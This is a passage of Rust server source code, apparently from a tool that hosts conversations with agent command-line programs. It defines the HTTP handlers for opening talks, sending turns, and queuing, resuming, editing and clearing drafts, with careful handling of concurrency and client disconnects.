8121            talks
8122                .into_iter()
8123                .filter(|talk| q.contains(&talk.id))
8124                .map(|talk| {
8125                    let thinking = ui.is_thinking(&talk.id);
8126                    let cfg = configs
8127                        .entry(talk.repo.clone())
8128                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
8129                    TalkView::with_references(talk, thinking, cfg.as_ref(), &ui.home, &references)
8130                })
8131                .collect(),
8132        ))
8133    })
8134    .await
8135}
8136
8137/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8138/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8139/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8140/// end still opens a talk against an older binary.
8141#[derive(Debug, Default, Deserialize)]
8142#[serde(default)]
8143struct NewTalk {
8144    agent: Option<String>,
8145    repo: Option<PathBuf>,
8146    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8147    /// wrong type is dropped like a stale value instead of failing the request;
8148    /// each falls back to its default on its own (see [`talk::begin_with`]).
8149    preferred_agent: Option<serde_json::Value>,
8150    persona: Option<serde_json::Value>,
8151    implementers: Option<serde_json::Value>,
8152}
8153
8154/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8155/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8156async fn talk_post(
8157    State(ui): State<Arc<Ui>>,
8158    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8159) -> ApiResult<impl IntoResponse> {
8160    // An absent body, or an empty one, is the normal way to open a talk - see
8161    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8162    // rather than refused.
8163    let body = match body {
8164        Ok(Json(body)) => body,
8165        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8166        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8167    };
8168    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8169    let cfg = config_for(&repo).await?;
8170    let view = blocking(move || {
8171        let preferred = talk::Preferred {
8172            agent: body
8173                .preferred_agent
8174                .as_ref()
8175                .and_then(|v| v.as_str())
8176                .map(str::to_owned),
8177            persona: body
8178                .persona
8179                .as_ref()
8180                .and_then(|v| v.as_str())
8181                .map(str::to_owned),
8182            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8183        };
8184        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8185        let thinking = ui.is_thinking(&talk.id);
8186        Ok(TalkView::new(talk, thinking, &ui))
8187    })
8188    .await?;
8189    Ok((StatusCode::CREATED, Json(view)))
8190}
8191
8192/// Transcript first: unrelated queue history and repository probes are deferred.
8193async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8194    blocking(move || {
8195        let id = resolve_talk(&ui.talks, &id)?;
8196        let talk = ui.talks.get(&id)?;
8197        let thinking = ui.is_thinking(&id);
8198        Ok(Json(TalkView::with_config(
8199            talk,
8200            thinking,
8201            None,
8202            &ui.home,
8203            &ui.references,
8204        )))
8205    })
8206    .await
8207}
8208
8209async fn talk_sections(
8210    State(ui): State<Arc<Ui>>,
8211    Path(id): Path<String>,
8212) -> ApiResult<Json<serde_json::Value>> {
8213    blocking(move || {
8214        let id = resolve_talk(&ui.talks, &id)?;
8215        let talk = ui.talks.get(&id)?;
8216        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8217        let task_progress = talk_task_progress(&tasks);
8218        let tasks: Vec<_> = tasks
8219            .into_iter()
8220            .map(|task| {
8221                serde_json::json!({
8222                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8223                })
8224            })
8225            .collect();
8226        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8227        let roster: Vec<_> = cfg
8228            .as_ref()
8229            .map(|cfg| {
8230                cfg.agents
8231                    .iter()
8232                    .map(|a| RosterEntry {
8233                        id: a.id.clone(),
8234                        kind: a.kind,
8235                        runnable: agent::installed(a),
8236                    })
8237                    .collect()
8238            })
8239            .unwrap_or_default();
8240        let specs = cfg
8241            .as_ref()
8242            .map(|cfg| cfg.talk.personas.clone())
8243            .unwrap_or_default();
8244        let personas: Vec<_> = persona::catalog(&specs)
8245            .into_iter()
8246            .map(|p| PersonaEntry {
8247                avatar: avatar_url(&ui.home, &talk.id, &p),
8248                id: p.id,
8249                name: p.name,
8250            })
8251            .collect();
8252        let active_persona = persona::find(&specs, &talk.persona)
8253            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8254        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8255        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8256        Ok(Json(serde_json::json!({
8257            "tasks": tasks, "task_progress": task_progress,
8258            "roster": roster, "personas": personas,
8259            "context": talk::context_usage(&talk, cfg.as_ref()),
8260            "context_for": talk.updated_at,
8261            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8262            "persona_name": persona_name,
8263            "persona_avatar": persona_avatar,
8264        })))
8265    })
8266    .await
8267}
8268
8269/// `GET /api/talks/{id}`.
8270async fn talk_detail(
8271    State(ui): State<Arc<Ui>>,
8272    Path(id): Path<String>,
8273) -> ApiResult<Json<TalkDetailView>> {
8274    blocking(move || {
8275        let id = resolve_talk(&ui.talks, &id)?;
8276        let talk = ui.talks.get(&id)?;
8277        let thinking = ui.is_thinking(&talk.id);
8278        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8279        let task_progress = talk_task_progress(&tasks);
8280        let tasks = tasks.into_iter().map(TaskView::from).collect();
8281        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8282        let roster = cfg
8283            .as_ref()
8284            .map(|cfg| {
8285                cfg.agents
8286                    .iter()
8287                    .map(|a| RosterEntry {
8288                        id: a.id.clone(),
8289                        kind: a.kind,
8290                        runnable: agent::installed(a),
8291                    })
8292                    .collect()
8293            })
8294            .unwrap_or_default();
8295        let specs = cfg
8296            .as_ref()
8297            .map(|cfg| cfg.talk.personas.clone())
8298            .unwrap_or_default();
8299        let personas = persona::catalog(&specs)
8300            .into_iter()
8301            .map(|p| PersonaEntry {
8302                avatar: avatar_url(&ui.home, &talk.id, &p),
8303                id: p.id,
8304                name: p.name,
8305            })
8306            .collect();
8307        Ok(Json(TalkDetailView {
8308            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8309            tasks,
8310            task_progress,
8311            roster,
8312            personas,
8313        }))
8314    })
8315    .await
8316}
8317
8318/// The body of `POST /api/talks/{id}/say`.
8319///
8320/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8321/// returned - never bytes of its own - so a turn with no images just omits
8322/// the field, which is what an older front end still does.
8323#[derive(Debug, Default, Deserialize)]
8324#[serde(default, deny_unknown_fields)]
8325struct NewTalkTurn {
8326    reply_to: Option<talk::ReplyTarget>,
8327    text: String,
8328    attachments: Vec<String>,
8329}
8330
8331#[derive(Debug, Deserialize)]
8332#[serde(deny_unknown_fields)]
8333struct EditTalkPending {
8334    #[serde(default)]
8335    message: Option<usize>,
8336    text: String,
8337    expected_text: String,
8338    expected_attachments: Vec<String>,
8339}
8340
8341#[derive(Debug, Deserialize)]
8342#[serde(deny_unknown_fields)]
8343struct ClearTalkPending {
8344    expected_text: String,
8345    expected_attachments: Vec<String>,
8346}
8347
8348/// `POST /api/talks/{id}/say` - one turn of the conversation.
8349///
8350/// Not filesystem work, and therefore not routed through [`blocking`]: this
8351/// route spawns an agent CLI and a turn here can run for the whole of
8352/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8353/// research turn is expected to run commands rather than answer from what it
8354/// already knows. Holding an HTTP connection open that long is not a thing
8355/// to ask a phone to do; the operator's message is recorded and answered for
8356/// immediately, and the reply lands in the background, discovered through
8357/// the change stream's `talks_rev` the same way every other update on this
8358/// surface is.
8359async fn talk_say(
8360    State(ui): State<Arc<Ui>>,
8361    Path(id): Path<String>,
8362    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
8363) -> ApiResult<(StatusCode, Json<TalkView>)> {
8364    let admission = ui.begin_admission()?;
8365    admitted(admission, async move {
8366    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8367    if body.text.trim().is_empty() && body.attachments.is_empty() {
8368        return Err(ApiError::bad_request("say something"));
8369    }
8370
8371    let id = {
8372        let ui = Arc::clone(&ui);
8373        let asked = id.clone();
8374        blocking(move || resolve_talk(&ui.talks, &asked)).await?
8375    };
8376    // A closed Talk never accepts a new immediate or queued turn. Check this
8377    // before claiming a slot so its ordinary domain refusal is a 409, not an
8378    // incidental failure from the later record/queue write.
8379    {
8380        let ui = Arc::clone(&ui);
8381        let id = id.clone();
8382        blocking(move || {
8383            let talk = ui.talks.get(&id)?;
8384            if !talk.status.open() {
8385                return Err(ApiError::conflict(format!(
8386                    "talk {} is {} and takes no more turns",
8387                    talk.short(),
8388                    talk.status.as_str()
8389                )));
8390            }
8391            Ok(())
8392        })
8393        .await?;
8394    }
8395
8396    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
8397    // actually stores, before anything is written - an unknown id is a 4xx
8398    // that names it rather than a turn (or a queued draft) silently missing
8399    // an image.
8400    let attachments = {
8401        let ui = Arc::clone(&ui);
8402        let id = id.clone();
8403        let ids = body.attachments.clone();
8404        blocking(move || {
8405            ids.into_iter()
8406                .map(|att_id| {
8407                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
8408                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
8409                    })
8410                })
8411                .collect::<ApiResult<Vec<talk::Attachment>>>()
8412        })
8413        .await?
8414    };
8415    let _publication = crate::consult::publication_guard(&ui.talks, &id)
8416        .await.map_err(ApiError::from)?;
8417
8418    // Pending recovery and a new immediate turn are decided under the same
8419    // claim lock. Without that one critical section, a second `/say` can see
8420    // the first request's claim as "busy" and append itself to the recovered
8421    // draft before the first request rejects it.
8422    let start = {
8423        let ui = Arc::clone(&ui);
8424        let id = id.clone();
8425        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
8426    };
8427    let turn_guard = match start {
8428        TalkTurnStart::Claimed(turn_guard) => turn_guard,
8429        TalkTurnStart::Pending => {
8430            return Err(ApiError::conflict(
8431                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
8432            ));
8433        }
8434        TalkTurnStart::Foreign => {
8435            return Err(ApiError::conflict(
8436                "a turn is already running in another process; try again when it has finished",
8437            ));
8438        }
8439        TalkTurnStart::Busy => {
8440            // A turn is already running: queue rather than refuse. See
8441            // `Ui::begin_talk_turn` and `talk::queue`.
8442            //
8443            // The queue write and the drain it may owe live inside the task
8444            // `tokio::spawn` hands to the runtime, for the same reason the
8445            // immediate path below puts `record` there: a dropped handler
8446            // future must not be able to land between a durable write and
8447            // the task that answers it. `blocking` runs its closure on
8448            // `spawn_blocking`, which finishes whether or not anyone is left
8449            // to receive its result - so a disconnect at the `.await` below
8450            // would otherwise leave the draft persisted and the reclaimed
8451            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
8452            // ever started and the queued text stranded until some later
8453            // `say` happened to pick it up. The caller's 202 travels back
8454            // over a `oneshot`, sent the moment the write lands.
8455            let (tx, rx) = tokio::sync::oneshot::channel();
8456            tokio::spawn({
8457                let ui = Arc::clone(&ui);
8458                let id = id.clone();
8459                let said = body.text.clone();
8460                let reply_to = body.reply_to.clone();
8461                async move {
8462                    let written = blocking({
8463                        let ui = Arc::clone(&ui);
8464                        let id = id.clone();
8465                        move || {
8466                            let mut talk = ui.talks.get(&id)?;
8467                            // A test-only stop point, right before the write
8468                            // an interleaving test needs to pin - see
8469                            // `BusyQueueGate`. `None` in every real server:
8470                            // the field only exists under `#[cfg(test)]`.
8471                            #[cfg(test)]
8472                            if let Some(gate) = ui
8473                                .busy_queue_gate
8474                                .lock()
8475                                .unwrap_or_else(PoisonError::into_inner)
8476                                .take()
8477                            {
8478                                let _ = gate.reached.send(());
8479                                let _ = gate.release.recv();
8480                            }
8481                            if let Err(error) = talk::queue_reply(
8482                                &mut talk,
8483                                &ui.talks,
8484                                &said,
8485                                attachments,
8486                                reply_to,
8487                            ) {
8488                                if let Ok(fresh) = ui.talks.get(&id) {
8489                                    if !fresh.status.open() {
8490                                        return Err(ApiError::conflict(format!(
8491                                            "talk {} is {} and takes no more turns",
8492                                            fresh.short(),
8493                                            fresh.status.as_str()
8494                                        )));
8495                                    }
8496                                }
8497                                return Err(
8498                                    if error.to_string().contains("invalid reply target") {
8499                                        ApiError::bad_request("invalid reply target")
8500                                    } else {
8501                                        ApiError::from(error)
8502                                    },
8503                                );
8504                            }
8505                            // The turn that looked busy a moment ago can have
8506                            // finished, found nothing to drain and given up the
8507                            // slot in the gap between that check and this write
8508                            // landing - see `drain_loop`'s own doc for the other
8509                            // half of why that gap would otherwise be able to
8510                            // open at all. Reclaiming the slot here, rather than
8511                            // trusting that whoever held it is still watching, is
8512                            // what stops the text just queued from being stranded
8513                            // until an unrelated future `say` happens to drain
8514                            // it.
8515                            let claim = match ui.begin_queued_talk_turn(&id)? {
8516                                Some(turn_guard) => {
8517                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8518                                    Some((talk.clone(), cfg, turn_guard))
8519                                }
8520                                None => None,
8521                            };
8522                            let thinking = ui.is_thinking(&id);
8523                            Ok((TalkView::new(talk, thinking, &ui), claim))
8524                        }
8525                    })
8526                    .await;
8527                    #[cfg(not(test))]
8528                    {
8529                        match written {
8530                            Ok((view, reclaimed)) => {
8531                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
8532                                drop(reclaimed);
8533                                match launched {
8534                                    Ok(_) => { let _ = tx.send(Ok(view)); }
8535                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8536                                }
8537                            }
8538                            Err(error) => { let _ = tx.send(Err(error)); }
8539                        }
8540                    }
8541                    #[cfg(test)]
8542                    {
8543                    let (view, reclaimed) = match written {
8544                        Ok(pair) => pair,
8545                        Err(e) => {
8546                            // Nobody is listening if the handler's own future
8547                            // was already dropped - that is fine, nothing was
8548                            // persisted and there is no response left to carry
8549                            // this error to.
8550                            let _ = tx.send(Err(e));
8551                            return;
8552                        }
8553                    };
8554                    // If this fails, the caller is gone; the drain below still
8555                    // runs exactly as it would have for a caller that stayed.
8556                    let _ = tx.send(Ok(view));
8557                    if let Some((talk, cfg, turn_guard)) = reclaimed {
8558                        let talks = ui.talks.clone();
8559                        drain_loop(talk, talks, cfg, id, turn_guard).await;
8560                    }
8561                    }
8562                }
8563            });
8564            let view = rx
8565                .await
8566                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8567            return Ok((StatusCode::ACCEPTED, Json(view)));
8568        }
8569    };
8570
8571    let (talk, cfg) = {
8572        let ui = Arc::clone(&ui);
8573        let id = id.clone();
8574        blocking(move || {
8575            let talk = ui.talks.get(&id)?;
8576            let (cfg, _) = Config::discover(&talk.repo, None)?;
8577            Ok((talk, cfg))
8578        })
8579        .await?
8580    };
8581
8582    let talks = ui.talks.clone();
8583    // `record` runs *inside* the spawned task, rather than in this handler
8584    // followed by a separate `tokio::spawn` for `respond` - axum drops this
8585    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
8586    // doc), and that drop can land at any `.await` this function makes,
8587    // including one that has already produced its result but not yet
8588    // resumed. A message could end up recorded on disk with the handler
8589    // future gone before it ever reached the `tokio::spawn` that would have
8590    // started the reply. `tokio::spawn` itself is a plain, synchronous call
8591    // that hands the whole future to the runtime as one unit - once made, no
8592    // later drop of *this* handler's own future (that call's return value is
8593    // never held onto here) can reach back in and stop it, so record and the
8594    // hand-off to `respond` are unconditionally atomic from the client's
8595    // point of view. The immediate response this handler owes the caller
8596    // travels back over a `oneshot`, sent the moment `record` succeeds.
8597    let (tx, rx) = tokio::sync::oneshot::channel();
8598    tokio::spawn({
8599        #[cfg(test)]
8600        let ui = Arc::clone(&ui);
8601        let talks = talks.clone();
8602        let id = id.clone();
8603        let said = body.text.clone();
8604        let reply_to = body.reply_to.clone();
8605        let mut talk = talk.clone();
8606        async move {
8607            let recorded = blocking({
8608                let talks = talks.clone();
8609                move || {
8610                    if let Err(error) =
8611                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
8612                    {
8613                        if let Ok(fresh) = talks.get(&talk.id) {
8614                            if !fresh.status.open() {
8615                                return Err(ApiError::conflict(format!(
8616                                    "talk {} is {} and takes no more turns",
8617                                    fresh.short(),
8618                                    fresh.status.as_str()
8619                                )));
8620                            }
8621                        }
8622                        return Err(if error.to_string().contains("invalid reply target") {
8623                            ApiError::bad_request("invalid reply target")
8624                        } else {
8625                            ApiError::from(error)
8626                        });
8627                    }
8628                    // `record` mutates `talk` in place to the freshly persisted
8629                    // state (status, pending, and the just-appended operator
8630                    // turn), so returning it here is equivalent to re-reading it
8631                    // from disk - without the extra round trip a re-read would
8632                    // need.
8633                    Ok((said.trim().to_owned(), talk))
8634                }
8635            })
8636            .await;
8637            let (text, talk) = match recorded {
8638                Ok(pair) => pair,
8639                Err(e) => {
8640                    // Nobody is listening if the handler's own future was
8641                    // already dropped - that is fine, there is no response
8642                    // left to carry this error to and nothing was persisted.
8643                    let _ = tx.send(Err(e));
8644                    return;
8645                }
8646            };
8647            #[cfg(not(test))]
8648            {
8649                let _ = (&cfg, &text);
8650                // The reservation becomes durable while this process still
8651                // holds the talk lease. The child waits for that lease; the
8652                // new UI sees its startup reservation immediately.
8653                let result = crate::consult::spawn_recorded_turn(
8654                    &talks, &id, talk.turns.len() - 1,
8655                ).await;
8656                drop(turn_guard);
8657                match result {
8658                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
8659                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
8660                }
8661            }
8662            #[cfg(test)]
8663            {
8664            let queued = talk.clone();
8665            let mut talk = talk;
8666            let thinking = ui.is_thinking(&id);
8667            // If this fails, the caller is gone; the turn still runs below
8668            // exactly as it would have for a caller that stayed connected.
8669            let _ = tx.send(Ok((queued, thinking)));
8670
8671            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
8672                // `respond` records the failure in the transcript itself,
8673                // which is what the phone reads; this line is for the
8674                // operator's terminal.
8675                tracing::warn!("talk {id} turn failed: {e:#}");
8676            }
8677            // Anything `talk::queue` added while the turn above was running
8678            // is still owed an answer - see `drain_loop`.
8679            drain_loop(talk, talks, cfg, id, turn_guard).await;
8680            }
8681        }
8682    });
8683
8684    let (queued, thinking) = rx
8685        .await
8686        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
8687
8688    // 202: the operator's message is recorded and a turn is running.
8689    Ok((
8690        StatusCode::ACCEPTED,
8691        Json(TalkView::new(queued, thinking, &ui)),
8692    ))
8693    }).await
8694}
8695
8696/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
8697/// changing it. The turn guard is the same per-talk ownership `talk_say`
8698/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
8699async fn talk_pending_resume(
8700    State(ui): State<Arc<Ui>>,
8701    Path(id): Path<String>,
8702) -> ApiResult<(StatusCode, Json<TalkView>)> {
8703    let admission = ui.begin_admission()?;
8704    admitted(admission, async move {
8705        let id = {
8706            let ui = Arc::clone(&ui);
8707            let asked = id.clone();
8708            blocking(move || resolve_talk(&ui.talks, &asked)).await?
8709        };
8710        let _publication = crate::consult::publication_guard(&ui.talks, &id)
8711            .await
8712            .map_err(ApiError::from)?;
8713        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8714            return Err(ApiError::conflict(
8715                "a talk turn is already running; the queued draft will be handled by it",
8716            ));
8717        };
8718        let (talk, cfg) = {
8719            let ui = Arc::clone(&ui);
8720            let id = id.clone();
8721            blocking(move || {
8722                let talk = ui.talks.get(&id)?;
8723                if !talk.status.open() {
8724                    return Err(ApiError::conflict(format!(
8725                        "talk {} is {} and takes no more turns",
8726                        talk.short(),
8727                        talk.status.as_str()
8728                    )));
8729                }
8730                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8731                    return Err(ApiError::conflict("there is no queued draft to resume"));
8732                }
8733                let (cfg, _) = Config::discover(&talk.repo, None)?;
8734                Ok((talk, cfg))
8735            })
8736            .await?
8737        };
8738        let view = TalkView::new(talk.clone(), true, &ui);
8739        let talks = ui.talks.clone();
8740        #[cfg(not(test))]
8741        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
8742        #[cfg(test)]
8743        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8744        Ok((StatusCode::ACCEPTED, Json(view)))
8745    })
8746    .await
8747}
8748
8749/// Hand off an admitted draft while retaining the talk lease until its
8750/// detached startup reservation is durable.
8751#[cfg(not(test))]
8752async fn detach_talk_turn(
8753    _talk: Talk,
8754    talks: Talks,
8755    _cfg: Config,
8756    id: String,
8757    turn: TalkTurnGuard,
8758) -> ApiResult<()> {
8759    let launched = crate::consult::spawn_turn(&talks, &id).await;
8760    drop(turn);
8761    launched.map(|_| ()).map_err(ApiError::from)
8762}
8763
8764#[cfg(test)]
8765async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
8766    drain_loop_started(talk, talks, cfg, id, turn, None).await;
8767}
8768
8769/// A settings response must not report idle while its claim is still held.
8770/// Wait until the first drain either releases the claim or promotes a draft.
8771/// The task owns the guard even if the HTTP handler is cancelled while waiting.
8772async fn settle_settings_turn(
8773    talk: Talk,
8774    talks: Talks,
8775    cfg: Config,
8776    id: String,
8777    turn: TalkTurnGuard,
8778    observed: u64,
8779) -> bool {
8780    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
8781        let turns = Arc::clone(&turn.turns);
8782        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
8783        if live.queued.get(&id).copied().unwrap_or(0) == observed {
8784            // Release under the arrival lock; a later `/say` takes its own claim.
8785            turn.release(&mut live);
8786            return false;
8787        }
8788    }
8789    let (started, settled) = tokio::sync::oneshot::channel();
8790    tokio::spawn(drain_loop_started(
8791        talk,
8792        talks,
8793        cfg,
8794        id,
8795        turn,
8796        Some(started),
8797    ));
8798    settled.await.unwrap_or(false)
8799}
8800
8801#[cfg(not(test))]
8802async fn drain_loop_started(
8803    talk: Talk,
8804    talks: Talks,
8805    _cfg: Config,
8806    id: String,
8807    turn: TalkTurnGuard,
8808    started: Option<tokio::sync::oneshot::Sender<bool>>,
8809) {
8810    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
8811    let running = if pending {
8812        match crate::consult::spawn_turn(&talks, &id).await {
8813            Ok(_) => true,
8814            Err(error) => {
8815                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
8816                false
8817            }
8818        }
8819    } else {
8820        false
8821    };
8822    drop(turn);
8823    if let Some(started) = started {
8824        let _ = started.send(running);
8825    }
8826}
8827
8828// Existing in-process conversation tests exercise transcript/arrival ordering;
8829// real process-lifetime behavior is covered by the CLI integration tests.
8830#[cfg(test)]
8831async fn drain_loop_started(
8832    mut talk: Talk,
8833    talks: Talks,
8834    cfg: Config,
8835    id: String,
8836    turn: TalkTurnGuard,
8837    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
8838) {
8839    let live_set = Arc::clone(&turn.turns);
8840    // `Option` rather than binding `turn` directly to a `_turn` that lives
8841    // for the whole function: releasing it has to happen by calling
8842    // `TalkTurnGuard::release` from inside the locked branch below, which
8843    // takes `self` by value. Left as a plain drop instead, `Drop` would still
8844    // remove the id - correctly, if this loop is ever left some other way -
8845    // but doing it there misses the lock this loop is already holding, which
8846    // is the exact gap `release` exists to close.
8847    let mut turn = Some(turn);
8848    loop {
8849        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
8850            // The lease was taken over while a turn ran. Whatever is queued
8851            // stays a draft; running it here would race the new owner.
8852            tracing::warn!("talk {id} lost its turn lease; not draining further");
8853            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8854            if let Some(turn) = turn.take() {
8855                turn.release(&mut live);
8856            }
8857            break;
8858        }
8859        // `talk::drain` takes the store lock and can write/rename the talk
8860        // file. Keep the turn mutex out of that synchronous work: it protects
8861        // every talk's in-memory claim, not this talk's disk operation.
8862        let observed = live_set
8863            .lock()
8864            .unwrap_or_else(PoisonError::into_inner)
8865            .queued
8866            .get(&id)
8867            .copied()
8868            .unwrap_or(0);
8869        let drained = blocking({
8870            let talks = talks.clone();
8871            move || {
8872                let result = talk::drain(&mut talk, &talks);
8873                Ok((talk, result))
8874            }
8875        })
8876        .await;
8877        let (next_talk, result) = match drained {
8878            Ok(drained) => drained,
8879            Err(e) => {
8880                tracing::warn!(
8881                    status = %e.status,
8882                    message = %e.message,
8883                    "talk {id} could not start queued-text drain"
8884                );
8885                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8886                turn.take()
8887                    .expect("held for the whole loop until released here")
8888                    .release(&mut live);
8889                break;
8890            }
8891        };
8892        talk = next_talk;
8893        let drained = match result {
8894            Ok(Some(drained)) => drained,
8895            Ok(None) => {
8896                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8897                if live.queued.get(&id).copied().unwrap_or(0) != observed {
8898                    continue;
8899                }
8900                turn.take()
8901                    .expect("held for the whole loop until released here")
8902                    .release(&mut live);
8903                break;
8904            }
8905            Err(e) => {
8906                tracing::warn!("talk {id} could not drain queued text: {e:#}");
8907                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
8908                turn.take()
8909                    .expect("held for the whole loop until released here")
8910                    .release(&mut live);
8911                break;
8912            }
8913        };
8914        if let Some(started) = started.take() {
8915            let _ = started.send(true);
8916        }
8917        let responded = match turn.as_ref() {
8918            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
8919            None => Err(anyhow::anyhow!("the turn guard was released")),
8920        };
8921        if let Err(e) = responded {
8922            tracing::warn!("talk {id} turn failed: {e:#}");
8923        }
8924    }
8925    drop(turn);
8926    if let Some(started) = started {
8927        let _ = started.send(false);
8928    }
8929}
8930
8931/// Clear a queued draft only if it remains exactly the one the caller saw.
8932async fn talk_pending_clear(
8933    State(ui): State<Arc<Ui>>,
8934    Path(id): Path<String>,
8935    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8936) -> ApiResult<Json<TalkView>> {
8937    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8938    blocking(move || {
8939        let id = resolve_talk(&ui.talks, &id)?;
8940        let mut talk = ui.talks.get(&id)?;
8941        if !talk.status.open() {
8942            return Err(ApiError::conflict(format!(
8943                "talk {} is {} and takes no more turns",
8944                talk.short(),
8945                talk.status.as_str()
8946            )));
8947        }
8948        if !talk::clear_pending_if_matches(
8949            &mut talk,
8950            &ui.talks,
8951            &body.expected_text,
8952            &body.expected_attachments,
8953        )? {
8954            return Err(ApiError::conflict(
8955                "queued message changed; reload it before clearing",
8956            ));
8957        }
8958        let thinking = ui.is_thinking(&talk.id);
8959        Ok(Json(TalkView::new(talk, thinking, &ui)))
8960    })
8961    .await
8962}
8963
8964/// Atomically edit a queued draft's text while preserving its attachments.
8965/// The snapshot fields make a concurrent queue or drain a conflict rather
8966/// than silently discarding either message.
8967async fn talk_pending_edit(
8968    State(ui): State<Arc<Ui>>,
8969    Path(id): Path<String>,
8970    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8971) -> ApiResult<Json<TalkView>> {
8972    let admission = ui.begin_admission()?;
8973    admitted(admission, async move {
8974        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8975        let id = {
8976            let ui = Arc::clone(&ui);
8977            blocking(move || resolve_talk(&ui.talks, &id)).await?
8978        };
8979        let _publication = crate::consult::publication_guard(&ui.talks, &id)
8980            .await
8981            .map_err(ApiError::from)?;
8982        let (view, reclaimed) = blocking({
8983            let ui = Arc::clone(&ui);
8984            move || {
8985                let mut talk = ui.talks.get(&id)?;
8986                if !talk.status.open() {
8987                    return Err(ApiError::conflict(format!(
8988                        "talk {} is {} and takes no more turns",
8989                        talk.short(),
8990                        talk.status.as_str()
8991                    )));
8992                }
8993                if !talk::edit_pending_message(
8994                    &mut talk,
8995                    &ui.talks,
8996                    &body.text,
8997                    &body.expected_text,
8998                    &body.expected_attachments,
8999                    body.message,
9000                )? {
9001                    return Err(ApiError::conflict(
9002                        "queued message changed; reload it before editing",
9003                    ));
9004                }
9005                let claim = match ui.begin_queued_talk_turn(&id)? {
9006                    Some(turn_guard) => {
9007                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9008                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9009                    }
9010                    None => None,
9011                };
9012                let thinking = ui.is_thinking(&id);
9013                Ok((TalkView::new(talk, thinking, &ui), claim))
9014            }
9015        })
9016        .await?;
9017        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9018            let talks = ui.talks.clone();
9019            #[cfg(not(test))]
9020            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9021            #[cfg(test)]
9022            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9023        }
9024        Ok(Json(view))
9025    })
9026    .await
9027}
9028
9029/// The 409 for a talk that takes no more turns.
9030fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9031    if talk.status.open() {
9032        return Ok(());
9033    }
9034    Err(ApiError::conflict(format!(
9035        "talk {} is {} and takes no more turns",
9036        talk.short(),
9037        talk.status.as_str()
9038    )))
9039}
9040
9041/// The body of `POST /api/talks/{id}/agent`.
9042#[derive(Debug, Deserialize)]
9043struct TalkAgent {
9044    agent: String,
9045}
9046
9047/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9048/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
